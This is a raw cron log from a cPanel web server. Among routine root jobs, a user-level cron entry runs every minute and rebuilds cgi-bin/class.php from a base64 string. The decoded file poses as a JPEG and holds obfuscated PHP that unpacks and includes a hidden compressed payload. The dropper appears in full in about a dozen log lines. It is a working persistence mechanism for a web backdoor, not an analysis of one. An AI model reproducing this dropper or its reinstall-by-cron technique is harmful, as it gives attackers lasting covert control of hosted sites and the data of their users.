Sep 10 16:58:01 server CROND[9781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:58:01 server CROND[9779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:59:01 server CROND[10327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:59:01 server CROND[10328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:59:01 server CROND[10329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:00:01 server CROND[10723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:00:01 server CROND[10725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:00:01 server CROND[10739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:00:01 server CROND[10747]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 17:00:01 server CROND[10750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:00:01 server CROND[10749]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:00:01 server CROND[10748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:00:01 server CROND[10746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:00:01 server CROND[10745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:01:01 server CROND[11554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:01:01 server CROND[11555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:01:01 server CROND[11557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:01:01 server CROND[11556]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 17:01:01 server run-parts(/etc/cron.hourly)[11556]: starting 0anacron
Sep 10 17:01:01 server run-parts(/etc/cron.hourly)[11578]: finished 0anacron
Sep 10 17:02:01 server CROND[11946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:02:01 server CROND[11947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:02:01 server CROND[11948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:03:01 server CROND[12328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:03:01 server CROND[12330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:03:01 server CROND[12329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:04:01 server CROND[12819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:04:01 server CROND[12820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:04:01 server CROND[12821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:05:01 server CROND[13202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:05:01 server CROND[13204]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 17:05:01 server CROND[13205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:05:01 server CROND[13208]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:05:01 server CROND[13212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:05:01 server CROND[13211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:05:01 server CROND[13209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:05:01 server CROND[13210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:05:01 server CROND[13206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:06:01 server CROND[14063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:06:01 server CROND[14064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:06:01 server CROND[14066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:07:01 server CROND[14450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:07:01 server CROND[14452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:07:01 server CROND[14453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:08:01 server CROND[14826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:08:01 server CROND[14828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:08:01 server CROND[14829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:09:01 server CROND[15291]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 17:09:01 server CROND[15293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:09:01 server CROND[15295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:09:01 server CROND[15294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:10:01 server CROND[15853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
